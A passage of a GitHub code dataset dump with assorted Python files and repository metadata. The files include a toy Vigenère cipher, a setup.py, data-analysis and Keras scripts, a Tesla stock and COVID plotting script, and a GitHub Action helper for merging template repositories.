self.phase['throat.diffusive_conductance'].mean(),\n self.phase['throat.diffusive_conductance'].max(),\n self.phase['throat.diffusive_conductance'].min()]\n )\n desired = np.array([0.121193, 0.126131, 0.118578])\n assert_allclose(actual, desired, rtol=1e-5)\n\n\nif __name__ == '__main__':\n\n t = DiffusiveConductanceTest()\n self = t\n t.setup_class()\n for item in t.__dir__():\n if item.startswith('test'):\n print(f'Running test: {item}')\n t.__getattribute__(item)()\n","repo_name":"PMEAL/OpenPNM","sub_path":"tests/unit/models/physics/DiffusiveConductanceTest.py","file_name":"DiffusiveConductanceTest.py","file_ext":"py","file_size_in_byte":6397,"program_lang":"python","lang":"en","doc_type":"code","stars":404,"dataset":"github-code","pt":"3"}
+{"seq_id":"23414204416","text":"def get_char_number(sumbol):\n alphabet = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ]\n for i in range(len(alphabet)):\n if (sumbol == alphabet[i]):\n return i\n\ndef get_number_char(number):\n alphabet = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ]\n return alphabet[number]\n\ndef encrypt(text,key):\n encrypt_text = []\n i = 0\n for sumbol in text:\n \n encrypt_text.append(get_number_char(( get_char_number(sumbol) + get_char_number(key[i])) % 26))\n i+=1\n return encrypt_text\n\ndef decrypt(encrypt_text,key):\n decrypt_text = []\n i = 0\n for sumbol in encrypt_text:\n \n if (get_char_number(sumbol) - get_char_number(key[i])) < 0:\n decrypt_text.append(get_number_char( 26 + ( get_char_number(sumbol) - get_char_number(key[i]))))\n else:\n decrypt_text.append(get_number_char(( get_char_number(sumbol) - get_char_number(key[i] ))))\n i+=1\n return decrypt_text\n\ndef formate_key(key,text):\n formated_key = []\n while (len(formated_key) != len(text)):\n for sumbol in key:\n if (len(formated_key) == len(text)):\n break;\n formated_key.append(sumbol)\n return formated_key\n\nkey_list = []\ntext_list = []\ntext = input(\"Enter message: \")\n\nfor s in text:\n text_list.append(s)\n\nprint(text_list)\n\nkey = input(\"Enter key: \")\n\nfor s in key:\n key_list.append(s)\n\nprint(key_list)\n\nkey_list = formate_key(key_list,text_list)\nprint(\"Formated key: \", key_list)\n\nencrypt_text_list = encrypt(text_list,key_list)\nprint(\"Encrypted text: \" , encrypt_text_list )\n\ndecrypt_text_list = decrypt(encrypt_text_list,key_list)\nprint(\"Decrypted text: \" , decrypt_text_list )\n","repo_name":"alekon28/programming-term-2","sub_path":"laba_6_task_5_py/laba_6_task_5_py/laba_6_task_5_py.py","file_name":"laba_6_task_5_py.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21577959382","text":"from setuptools import setup, find_packages\n\n# read the contents of your README file\nfrom os import path\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nVERSION = '0.1.4'\n\nsetup(\n name = 'hospital_logfile_analyzer',\n packages = find_packages(),\n version = VERSION,\n license='MIT',\n description = 'Tool to convert plain-text hospital integration engines\\' log files to structured data',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author = 'Pavlo Dyban (Doctolib GmbH)',\n author_email = 'pavlo.dyban@doctolib.com',\n url = 'https://github.com/doctolib/hospital_logfile_analyzer',\n download_url = f\"https://github.com/doctolib/hospital_logfile_analyzer/archive/v.{VERSION}.tar.gz\",\n keywords = ['logfile', 'parser', 'integration engine', 'communication server',\n 'HIS', 'hospital', 'information system', 'communication',\n 'TCP/IP', 'structured data'],\n install_requires=[],\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: System Administrators',\n 'Intended Audience :: Developers',\n 'Topic :: Internet :: Log Analysis',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n ],\n test_suite=\"hospital_logfile_analyzer.test\",\n entry_points={\n 'console_scripts': [\n 'hla = hospital_logfile_analyzer.__main__:main',\n ],\n },\n)\n","repo_name":"doctolib/hospital_logfile_analyzer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"75199928722","text":"from typing import Any\nimport json\n\n\nclass Translator:\n _instances: dict[str, 'Translator'] = {}\n\n def __new__(cls, lang: str) -> 'Translator':\n if lang not in cls._instances:\n cls._instances[lang] = super(Translator, cls).__new__(cls)\n return cls._instances[lang]\n\n def __init__(self, lang: str):\n self.lang = lang\n\n def get_translate(self, page: str, **kwargs: dict[str, Any]) -> dict[str, str]:\n with open(f\"app/lang/{self.lang}/{page}.json\", encoding=\"utf-8\") as file:\n translation = json.load(file)\n if kwargs.keys():\n for key in translation:\n translation[key] = translation[key].format(**kwargs)\n return translation\n","repo_name":"deathlokmike/clinic","sub_path":"app/lang/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30885967328","text":"import pandas as pd\n\n\ndef read_output_data(filepath_output: str) -> dict:\n # check file type\n # options --> *.xlsx, *.txt, *.csv\n # check end of file\n # if file.endswith an of the above options\n # use appropriate pandas function i.e. pd.read_csv(), pd.read_excel()\n data_fp = filepath_output\n data_fp = data_fp.split(\"/\")[-1]\n if data_fp.endswith(\".csv\") or data_fp.endswith(\".txt\"):\n data_df = pd.read_csv(filepath_output, sep=\",\")\n elif data_fp.endswith(\".xlsx\"):\n data_df = pd.read_excel(filepath_output)\n\n # return pd.dataframe of data\n return data_df\n\n\ndef read_experimental_data(filepath_exp) -> dict:\n # check file type\n # options --> *.xlsx, *.txt, *.csv\n # check end of file\n # if file.endswith an of the above options\n # use appropriate pandas function i.e. pd.read_csv(), pd.read_excel()\n # exp_data_df = pd.DataFrame()\n experimental_fp = filepath_exp.split(\",\")[-1]\n if experimental_fp.endswith(\".csv\"):\n return pd.read_csv(filepath_exp, sep=\",\")\n # exp_data_df = pd.read_csv(filepath_exp, sep=\",\")\n elif experimental_fp.endswith(\".xlsx\"):\n return pd.read_excel(filepath_exp)\n # exp_data_df = pd.read_excel(filepath_exp)\n\n # print(exp_data_df)\n\n # return pd.dataframe of data\n # return exp_data_df\n\n\ndef read_csv_extra(filepath_exp: str) -> dict:\n \"\"\"\n :param filepath_exp:\n :return:\n \"\"\"\n exp_data_df = pd.DataFrame(read_experimental_data(filepath_exp))\n print(\"Here in read csv extra\")\n print(exp_data_df.keys())\n exp_data_df2 = exp_data_df[[\"label\", 'DeltaD', 'DeltaP', 'DeltaH', 'smiles', 'n_electrons', 'n_atoms', 'charge', 'MolWt']]\n\n return exp_data_df2\n\n\ndef dataset_df(fp_exp, fp_output) -> dict:\n # put together final dataframe\n # if the first column is 'label' then call read_csv_extra\n exp_data_df = read_experimental_data(fp_exp)\n if exp_data_df[\"label\"].any():\n exp_data_df = read_csv_extra(fp_exp)\n\n output_data_df = read_output_data(fp_output)\n # to create full_dataframe compare columns=\"mol\"\n # concatenate dataframes along columns\n full_dataframe = pd.concat([exp_data_df, output_data_df], axis=1)\n\n return full_dataframe\n","repo_name":"jilxlisathompson/DeltahspPredict","sub_path":"data_reading.py","file_name":"data_reading.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6086235932","text":"from numpy import loadtxt\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom keras.optimizers import SGD\n\n\nfrom io import StringIO\nimport numpy as np\n\n\nimport math\ndef convertToNumber(s):\n return int.from_bytes(str(s).encode(), 'little')\n\ndef convertFromNumber (n):\n return n.to_bytes(math.ceil(n.bit_length() / 8), 'little').decode()\n\n\n# Import the dataset\ndataset_file_location = '/Users/brenodcruz/eclipse-workspace/cool.parser/python_script/output-file.txt'\ndataset = np.genfromtxt(dataset_file_location, delimiter=', ', converters={0: convertToNumber, 2: convertToNumber, 4: convertToNumber})\n\n# (0) string (1) entropy (2) heuristics (3) heuristic weight (4) regex patterns (5) regex weights\n# (6) label \t\t\n\n## dnn for overall label prediction\n\nX = dataset[0:,[1,2,3,4,5]] # input data -- entropy -- heuristic -- regex\ny = dataset[0:,6] # label - 1 true or 0 false -- \n\n\n#Split the data for testing and training\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 42)\n\n# Standardize the data\nscaler = StandardScaler().fit(X_train)\n\n## Scale the train set\nX_train = scaler.transform(X_train)\n\n## Scale the test set\nX_test = scaler.transform(X_test)\n\n\nmodel = Sequential()\nmodel.add(Dense(12, input_dim=5, activation='relu'))\nmodel.add(Dense(24, activation='selu'))\nmodel.add(Dense(36, activation='relu'))\nmodel.add(Dense(96, activation='elu'))\nmodel.add(Dense(96, activation='selu'))\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dense(24, activation='selu'))\nmodel.add(Dense(1, activation='linear'))\n\nmodel.compile(loss='mean_squared_error', optimizer='adam', metrics=['accuracy'])\nmodel.fit(X_train, y_train, epochs=200, batch_size=128, verbose=0)\n\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, cohen_kappa_score, r2_score\n\nmse_value, mae_value = model.evaluate(X_test, y_test, verbose = 0)\nprint(\"mse: \", mse_value)\nprint(\"mae: \", mae_value)\n\n#_, accuracy = model.evaluate(X_train, y_train, verbose=0)\n#print('Accuracy: %.2f' % (accuracy*100))\n\ny_pred = model.predict(X_test)\n\nr2 = r2_score(y_test, y_pred)\n\n#y_pred2 = model.predict(X_plot)\n\nprint(\"r2: \", r2)\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\nfor i in range(10):\n print('%s => %s (expected %s)' % (X[i].tolist(), y_pred[i], y_test[i]))\n\ndf = pd.DataFrame({'x': range(0, len(y_test)), 'breadps values':y_test, 'breadps predicted':y_pred.flatten()})\nplt.plot( 'x', 'breadps values', data=df, marker='', markerfacecolor='blue', markersize=10, color='skyblue', linewidth=2)\nplt.plot( 'x', 'breadps predicted', data=df, marker='', color='olive', linewidth=1)\nplt.legend()\nplt.show()\n\n","repo_name":"brenodan/magister","sub_path":"python_script/ml_system.py","file_name":"ml_system.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10523624969","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport sys\nfrom statistics import mean\n\n\n#*** This program will ingest the tesla stock and coronavirus dataset,\n#*** do some analysis, and ultimately output the data into a dumbbell plot,\n#*** scatter plot,\n\n#modules sometimes warn the user of things they want to do\n#this ignores those warnings\ndef hide_warnings():\n if not sys.warnoptions:\n import warnings\n warnings.simplefilter(\"ignore\")\n \nhide_warnings()\n\n\n#this is going to be called for each file to create dataframes\ndef load_data(filename):\n data = pd.read_csv(filename)\n\n return data\n\n#Create one printable line seperator\ndef line_sep():\n print('____________________________________________________________________________')\n\n\n#load raw dataset\ndata = load_data('All_Data.csv')\n\n#converting date collumn to datetime format\ndata['Date'] = pd.to_datetime(data['Date']) #or use np.datetime64 in a loop\n#print raw dataset\ndef Data_Open():\n print('\\nFull, Raw Dataset')\n line_sep()\n print(data)\n line_sep()\nData_Open()\n\n#find best fit slope and intercept to later plot trendline \ndef best_fit_slope_and_intercept1(xval, yval):\n m = (((mean(xval)*mean(yval)) - mean(xval*yval)) /\n ((mean(xval)*mean(yval)) - mean(xval*xval)))\n \n b = mean(yval) - m*mean(xval)\n \n return m, b\n\n\n#____________________________________________________________________________________________________\n#print dataset of just date and average price\ndate_and_price = data[['Date','Average Price', 'year']]\n\nprint(\"\\nDate and price\")\nprint(date_and_price)\nline_sep()\n\n#Singular parts\n'''print('Dates')\ndates = date_and_price[['Date']].values\nprint(dates)\nline_sep()'''\n\n#Print Years \n'''print('Years')\nyears = date_and_price[['year']].values\nprint(years)\nline_sep()'''\n\n#Print Average Stock Price\n'''print('Average Stock Price')\navgprice = date_and_price[['Average Price']].values\nprint(avgprice)\nline_sep()'''\n\n#Print Unique Years\nprint('\\nDifferent years')\nall_years = date_and_price['year'].unique()\nprint(all_years)\nline_sep()\n\n# Start the analysis\n\n#create a dataframe with only average price, volume, and corona cases.\ndf_vars = data[['Volume', 'Average Price', 'CoronaCases']]\n\n#generating a correlation matrix for analysis\nprint(\"Correlation Matrix\")\ncorr_matrix = df_vars.corr(method='pearson')\nprint(corr_matrix)\nline_sep()\n\n# create data arrays for each individual variable\nVolume = np.array(data['Volume']/1000000)\nAvgP = np.array(data['Average Price'])\nCovidC = np.array(data['CoronaCases'])\n\n#Now that we have this data array, we can compute a variety of summary statistics:\n#Volume\nprint(\"Daily Volume Stats:\")\nprint(\"Mean Volume: \", round(Volume.mean(), 4), 'Mil')\nprint(\"Minimum Volume: \", Volume.min(), 'Mil')\nprint(\"Maximum Volume: \", Volume.max(), 'Mil')\nprint(\"Volume Standard Deviation:\", round(Volume.std(), 4), 'Mil')\nprint(\"\\n\")\n\n#Average Price\nprint(\"Daily Avg Price Stats:\")\nprint(\"Mean Price: \", '$', round(AvgP.mean(), 4))\nprint(\"Minimum Price: \", '$', AvgP.min())\nprint(\"Maximum Price: \", '$', AvgP.max())\nprint(\"Average Price Standard Deviation:\", '$', round(AvgP.std(), 3))\nprint(\"\\n\")\n\n#Coronavirus Cases\nprint(\"Daily COVID 19 Stats:\")\nprint(\"Mean COVID Cases: \", round(CovidC.mean(), 4))\nprint(\"Minimum COVID Cases: \", CovidC.min())\nprint(\"Maximum COVID Cases: \", CovidC.max())\nprint(\"COVID Cases Standard Deviation:\", round(CovidC.std(), 4))\nprint(\"\\n\")\n\nline_sep()\n\n#start plotting\n\n#Plot group #1 Correlation Scatterplot with trendline\n#create an array for each variable to find linear regression\n\nVs = np.array(df_vars['Volume'], dtype=np.float64)\nPs = np.array(df_vars['Average Price'], dtype=np.float64)\nCs = np.array(df_vars['CoronaCases'], dtype=np.float64)\n\n#find slope and intercept for all variables correlations and linear regression\nmVP, bVP = best_fit_slope_and_intercept1(Vs,Ps)\n'''print(mVP,bVP)'''\n\nmCP, bCP = best_fit_slope_and_intercept1(Cs,Ps)\n'''print(mCP,bCP)'''\n\nmCV, bCV = best_fit_slope_and_intercept1(Cs,Vs)\n'''print(mCV,bCV)'''\n\n#find regression line for each variable correlation\nregression_lineVP = [(mVP*V)+bVP for V in Vs]\nregression_lineCP = [(mCP*C)+bCP for C in Cs]\nregression_lineCV = [(mCV*C)+bCV for C in Cs]\n\n#plot scatter plots with lines of regression for all corelations:\n\n#Volume and Average Price\ndf_vars[['Volume', 'Average Price']].plot(y='Average Price', x='Volume', kind='scatter')\nplt.scatter(Vs, Ps)\nplt.title('Volume Vs. Average Price')\nplt.ylim(0, 1000)\nplt.xlabel('Volume in Millions')\nplt.plot(Vs, regression_lineVP)\n\n#Coronavirus and Average Price\ndf_vars[['CoronaCases', 'Average Price']].plot(y='Average Price', x='CoronaCases', kind='scatter')\nplt.scatter(Cs, Ps)\nplt.title('COVID 19 Cases Vs. Average Price')\nplt.ylim(0, 1000)\nplt.plot(Cs, regression_lineCP)\n\n#Coronavirus and Volume\ndf_vars[['CoronaCases', 'Volume']].plot(y='Volume', x='CoronaCases', kind='scatter')\nplt.scatter(Cs, Vs)\nplt.title('COVID 19 Cases Vs. Volume')\nplt.plot(Cs, regression_lineCV)\n\n#final plot : Date and Average Price\n\n#create a dataframe of just Date and Price\ndf1= pd.DataFrame (date_and_price, columns = ['Date', 'Average Price'])\nline_sep()\n\n#plot with (x,y) of date and average price\nax = df1.plot(x='Date', y='Average Price')\n\n#make labels\nax.set(title='Average Tesla Stock 2010-2020')\nax.set(xlabel='Years', ylabel='Mean Price')\n\n#make intervals for x\nax.xaxis.set_minor_locator(mdates.MonthLocator(interval = 2))\n\n#set y range\nplt.ylim(0, 1000)\n\n#make grid\nax.grid(True)\nplt.show()\n\n\n'''plt.savefig('Average Tesla Stock graph 2010-2020.png')'''\nplt.show()\n#close matplotlib - so that the memory is released from the program before close\n'''plt.close()'''\n\n","repo_name":"Sean-Kimchi/Python-2-Tesla-Stock-APL-2020-Spring","sub_path":"Python 2 final project 2020 Spring.py","file_name":"Python 2 final project 2020 Spring.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31126797640","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport tempfile\n\nfrom contextlib import contextmanager\n\n# If set to True, external commands will not produce any output. This will be\n# mainly useful for unit tests, as in any other scenario we probably want to\n# see the output of subcommands to diagnose issues.\nquiet = False\n\n\ndef subprocess_call(command, *args, check=True, output=False):\n \"\"\"Call the given command using the subprocess module and optionally\n return its decoded output and/or check the command's exit status.\n\n :param command: name of the system command to execute\n :param check: whether to check the command's exit code, or not\n :param output: whether to return the command's standard output\n\n :returns: 0 if check=True and output=False, command's standard output\n if check=True and output=True, and the command's exit status if check=False\n and output=False.\n\n :raises NotImplementError: if check=False and output=True\n \"\"\"\n global quiet\n\n argv = [command] + list(args)\n kwargs = {}\n\n if quiet:\n kwargs['stderr'] = subprocess.DEVNULL\n\n if not output:\n kwargs['stdout'] = subprocess.DEVNULL\n\n if not output:\n print(' '.join(argv))\n\n if check:\n if output:\n return subprocess.check_output(argv, **kwargs).decode()\n else:\n return subprocess.check_call(argv, **kwargs)\n else:\n if output:\n raise NotImplementedError('check=False and output=True')\n else:\n return subprocess.call(argv, **kwargs)\n\n\ndef git(*args, check=True, output=False):\n \"\"\"Call the git(1) command using the main.subprocess_call() method.\"\"\"\n return subprocess_call('git', *args, check=check, output=output)\n\n\ndef gh(*args, check=True, output=False):\n \"\"\"Call the gh(1) command using the main.subprocess_call() method.\"\"\"\n return subprocess_call('gh', *args, check=check, output=output)\n\n\n@contextmanager\ndef group(description):\n \"\"\"Group related output for this workflow with the given description. This\n uses an undocumented feature of GitHub Actions. Output groups can be folded\n and unfolded to hide or show the output in that group. The grouping seems to\n apply to stdout only, at the moment. Anything printed to stderr will not be\n part of the output group.\n \"\"\"\n global quiet\n\n try:\n if not quiet:\n print(f'::group::{description}')\n sys.stdout.flush()\n yield\n finally:\n if not quiet:\n print('::endgroup::')\n sys.stdout.flush()\n\n\ndef git_status():\n \"\"\"Return the short-format output of `git status`.\n\n :returns: whatever `git status --short` prints to stdout\n \"\"\"\n return git('status', '--short', output=True)\n\n\ndef git_workdir_is_clean():\n \"\"\"Ensures that there are no staged changes, no modified files, and no\n untracked files in the current Git working directory.\n\n :returns: True if the working directory is clean; otherwise, False\n \"\"\"\n return git_status() == ''\n\n\ndef git_head_is_not_detached():\n \"\"\"Ensure that the current HEAD is a branch and not a detached commit.\n\n :returns: True if HEAD is a valid symbolic reference; otherwise, False\n \"\"\"\n return 0 == git('symbolic-ref', 'HEAD', check=False)\n\n\ndef git_head_branch():\n \"\"\"Return the name of the currently checked out HEAD branch.\n\n :returns: short name of the ref that the current HEAD ispointing to\n \"\"\"\n return git('symbolic-ref', '--short', 'HEAD', output=True).rstrip()\n\n\ndef git_remote_add(name, url):\n \"\"\"Add a new Git remote with the specified name and repository URL.\"\"\"\n git('remote', 'add', name, url)\n\n\ndef git_fetch_branches_and_tags(remote):\n \"\"\"Fetch branches and tags for the specified remote. The tags are fetched\n into 'refs/tags/{remote}/*' where '{remote}' is the specified remote. This\n allows us to keep local tags unmodified and run `git merge {remote}/{tag}`\n to merge either a remote branch or tag.\n \"\"\"\n git('fetch', '--no-tags', '--prune', remote,\n f'+refs/heads/*:refs/remotes/{remote}/*',\n f'+refs/tags/*:refs/tags/{remote}/*')\n\n\ndef git_merge_no_commit(strategy, ref):\n \"\"\"Merge the given ref into the current HEAD, but do not commit the result.\n If there are any conflicts, they need to be resolved before committing the\n result of the merge.\n\n :param: strategy: valid value for the `-s ` option of `git merge`\n :param: ref: valid Git ref, but should be a remote branch or tag in our case\n\n :returns: True if the merge operation was successful or the HEAD branch is\n already up to date, and False if there were conflicts or other reasons that\n prevented the merge operation.\n \"\"\"\n return 0 == git('merge', '-s', strategy, '--no-commit', '--no-ff',\n '--allow-unrelated-histories', ref, check=False)\n\n\ndef git_unmerged_paths(status):\n \"\"\"Assuming that a merge conflict has occurred, return the list of paths\n that still have an unresolved merge conflict. This will also include any\n paths that are untracked, as in our workflow there should be no untracked\n files in the working directory.\n\n :returns: list of paths that still have a merge conflict, or are untracked\n\n Examples:\n\n Untracked paths in the working directory will be returned as unmerged:\n >>> git_unmerged_paths('?? foo\\\\n')\n ['foo']\n\n Already staged paths without conflicts will not be returned:\n >>> git_unmerged_paths(' A foo\\\\n')\n []\n\n Renamed/copied unmerged paths will be returned as the destination path:\n >>> git_unmerged_paths('MM orig -> foo\\\\n')\n ['foo']\n\n An actual example from this project:\n >>> git_unmerged_paths('A .github/workflows/generate.yml\\\\n'\n ... 'AA .github/workflows/downstream.yml\\\\n'\n ... 'AA .github/workflows/release.yml\\\\n'\n ... 'AA .github/workflows/upstream.yml\\\\n'\n ... 'AA CHANGELOG.md\\\\n'\n ... 'AA version.txt\\\\n')\n ['.github/workflows/downstream.yml', '.github/workflows/release.yml', '.github/workflows/upstream.yml', 'CHANGELOG.md', 'version.txt']\n \"\"\"\n paths = []\n\n for line in status.rstrip('\\n').split('\\n'):\n m = re.match('^[^ ][^ ] ([^ ]+ -> )?([^ ]+)', line)\n if m:\n paths.append(m[2])\n\n return paths\n\n\ndef revert_excluded_paths(exclude_patterns, ref):\n \"\"\"Reverts all files matched by the given exclude patterns to their state\n on the HEAD branch.\n\n :param exclude_patterns: content of a gitignore(5) file\n :param ref: Git reference to revert excluded files to\n \"\"\"\n for path in git_ls_files_ignored(exclude_patterns):\n print(f'Reverting {path} to {ref}')\n\n git('reset', '-q', '--', path)\n\n if 0 != git('checkout', '-q', ref, '--', path, check=False):\n os.unlink(path)\n\n\ndef git_ls_files_ignored(exclude_patterns):\n \"\"\"List all paths in the index matching patterns in the given gitignore(5)\n style wildcard patterns.\n\n :param exclude_patterns: content of a gitignore(5) file\n :returns: list of indexed paths matching the exclude patterns\n \"\"\"\n with tempfile.NamedTemporaryFile() as exclude:\n with open(exclude.name, 'w') as f:\n f.write(exclude_patterns)\n f.close()\n\n output = git('ls-files', '--cached', '--ignored',\n f'--exclude-from={exclude.name}',\n output=True).rstrip('\\n')\n\n if output == '':\n return []\n\n return output.split('\\n')\n\n\ndef resolve_all_merge_conflicts(conflict_resolution):\n \"\"\"Attempt to resolve all merge conflicts that are present in the current\n working directory.\n\n :returns: True if all conflicts have been resolved; otherwise, False if\n there would still be conflicts remaining after applying all actions\n \"\"\"\n unmerged_paths = set(git_unmerged_paths(git_status()))\n remaining_unmerged_paths = unmerged_paths - set(conflict_resolution.keys())\n\n if remaining_unmerged_paths:\n print('Cannot resolve all merge conflicts automatically.')\n print('The following paths would remain unmerged after conflict '\n 'resolution:\\n\\n' + '\\n'.join(remaining_unmerged_paths))\n return False\n\n conflict_resolution_actions = {\n 'ours': git_revert_to_head\n }\n\n for path in unmerged_paths:\n action = conflict_resolution[path]\n\n if action in conflict_resolution_actions:\n conflict_resolution_actions[action](path)\n else:\n valid_actions = conflict_resolution_actions.keys()\n raise ValueError(f'invalid conflict resolution action \"{action}\"'\n f' for {path}: must be one of: {valid_actions}')\n\n return True\n\n\ndef git_revert_to_head(path):\n \"\"\"Revert the given path to its state on the HEAD branch.\"\"\"\n git_reset_and_checkout('HEAD', path)\n\n\ndef git_reset_and_checkout(tree_ish, path):\n \"\"\"Remove the given path from the index and restore the contents of the\n path from the current HEAD branch. If the path does not exist on the HEAD\n branch, then it will be removed from the working directory.\n \"\"\"\n print(f'Reverting {path} to {tree_ish}')\n\n git('reset', '-q', '--', path)\n git('checkout', '-q', tree_ish, '--', path)\n\n\ndef git_rev_parse(ref):\n \"\"\"Return the commit sha of the given ref.\"\"\"\n return git('rev-parse', ref, output=True).rstrip()\n\n\ndef git_merge_in_progress():\n \"\"\"Returns whether a merge operation is on progress, or not.\n \"\"\"\n toplevel = git('rev-parse', '--show-toplevel', output=True).rstrip()\n return os.path.isfile(os.path.join(toplevel, '.git', 'MERGE_HEAD'))\n\n\ndef git_commit(message):\n \"\"\"Commit all changes in the working directory with the specified message.\n\n :returns: True if the commit was successfully created, and False if there\n was any reason that prevented the commit operation.\n \"\"\"\n git('commit', '-a', '-m', message)\n\n\ndef git_force_push(ref, branch):\n \"\"\"Force-push the given ref to the given branch.\"\"\"\n git('push', '-f', 'origin', f'{ref}:refs/heads/{branch}')\n\n\ndef git_delete_remote_branch(branch):\n \"\"\"Delete the given branch in the remote Git repository.\n \"\"\"\n git('push', 'origin', f':refs/heads/{branch}')\n\n\ndef github_create_or_update_pull_request(head, base, title, body):\n \"\"\"Create or update a pull request to merge the given head into the given\n base.\n \"\"\"\n # TODO: check if the pull request exists rather than blindly creating one\n # TODO: avoid having to grant 'read:org' and 'read:discussion' to token\n\n if 0 == gh('pr', 'create', '-B', base, '-H', head, '-t', title, '-b', body,\n check=False):\n return 0\n\n print('Creating pull request failed. Attempting to edit the existing one.')\n\n # This command requires 'read:org' and 'read:discussion' scopes, which is\n # more than we would need if we used the API directly.\n gh('pr', 'edit', '-B', base, '-t', title, '-b', body, head)\n\n\ndef github_template_repository():\n \"\"\"Return the repository that the current one was created from.\"\"\"\n info = json.loads(\n gh('repo', 'view', '--json', 'templateRepository', output=True)\n )['templateRepository']\n\n return info['owner']['login'] + '/' + info['name']\n\n\ndef github_url():\n \"\"\"Return the HTTPS base URL of the GitHub UI.\"\"\"\n return os.environ['GITHUB_API_URL'].replace('api.', '').replace('/api', '')\n\n\ndef github_host():\n \"\"\"Return the hostname of the GitHub instance.\"\"\"\n return re.sub('.*://', '', github_url())\n\n\ndef github_repository_url(repository):\n \"\"\"Return the HTTPS URL of the given repository on GitHub.\"\"\"\n return f'{github_url()}/{repository}'\n\n\ndef github_clone_url(clone_token, repository):\n \"\"\"Return the HTTPS clone URL of the given GitHub repository.\"\"\"\n return f'https://x-github-token:{clone_token}@' \\\n f'{github_host()}/{repository}.git'\n\n\ndef main():\n \"\"\"Gather the inputs for this GitHub Action and merge the specified branch\n or tag of the specified remote repository into the current HEAD. The current\n HEAD is assumed to point to a branch (not a detached commit) and the working\n directory must be clean before this action.\n\n :returns: 0 on success, or an integer greater than 0 on failure\n \"\"\"\n # As a sanity check, ensure that the working directory is clean before we\n # start, and that the current HEAD is not a detached commit, so that other\n # Git operations can work on these assumptions.\n assert git_workdir_is_clean()\n assert git_head_is_not_detached()\n\n # Gather automatic action environment variables and derived values\n github_actor = os.environ['GITHUB_ACTOR']\n\n # Set required environment variables for the GitHub CLI\n token = os.environ['TOKEN']\n os.environ['GITHUB_TOKEN'] = token\n\n # Gather the remaining action inputs and assume defaults\n clone_token = os.environ['CLONE_TOKEN'] or token\n repository = os.environ['REPOSITORY'] or github_template_repository()\n assert re.match('.+/.+', repository)\n repository_name = repository.split('/')[1]\n repository_url = github_repository_url(repository)\n orig_head = git_head_branch()\n branch_or_tag = os.environ['BRANCH_OR_TAG'] or orig_head\n merge_strategy = os.environ['MERGE_STRATEGY']\n merge_exclude = os.environ['MERGE_EXCLUDE']\n conflict_resolution = json.loads(os.environ['CONFLICT_RESOLUTION'])\n remote = os.environ['REMOTE'] or repository_name\n clone_url = github_clone_url(clone_token, repository)\n remote_ref = f'{remote}/{branch_or_tag}'\n pr_branch = os.environ['PR_BRANCH'] or f'chore/merge-{repository_name}-into-{orig_head}'\n delete_pr_branch = os.environ['DELETE_PR_BRANCH'] == 'true'\n\n # Set environment variables required for Git merge and commit operations\n if 'GIT_AUTHOR_NAME' not in os.environ:\n os.environ['GIT_AUTHOR_NAME'] = github_actor\n if 'GIT_AUTHOR_EMAIL' not in os.environ:\n os.environ['GIT_AUTHOR_EMAIL'] = f'{github_actor}@users.noreply.github.com'\n if 'GIT_COMMITTER_NAME' not in os.environ:\n os.environ['GIT_COMMITTER_NAME'] = os.environ['GIT_AUTHOR_NAME']\n if 'GIT_COMMITTER_EMAIL' not in os.environ:\n os.environ['GIT_COMMITTER_EMAIL'] = os.environ['GIT_AUTHOR_EMAIL']\n\n with group(f'Prepare the {remote} remote'):\n git_remote_add(remote, clone_url)\n git_fetch_branches_and_tags(remote)\n\n # Prepare the commit summary and pull request title\n commit_scope = os.path.basename(os.getcwd())\n commit_description = f'merge {repository}@{branch_or_tag}'\n pr_title = f'chore({commit_scope}): {commit_description}'\n\n with group(f'Merge {remote_ref} into {orig_head}'):\n merge_success = git_merge_no_commit(merge_strategy, remote_ref)\n\n if git_merge_in_progress():\n revert_excluded_paths(merge_exclude, 'HEAD')\n\n if not merge_success:\n if not resolve_all_merge_conflicts(conflict_resolution):\n git('merge', '--abort')\n\n merge_base = orig_head\n\n # Attempt to perform the merge on the previous base, since\n # we would otherwise simply revert all changes. This gives\n # maintainers a chance to resolve some conflicts again.\n if 0 == git('merge-base', orig_head, remote_ref,\n check=False):\n merge_base = git('merge-base', orig_head, remote_ref,\n output=True).rstrip('\\n')\n\n git('checkout', '-b', pr_branch, merge_base)\n git('merge', '--no-commit', '--no-ff',\n '--allow-unrelated-histories', '-s', 'recursive',\n '-X', 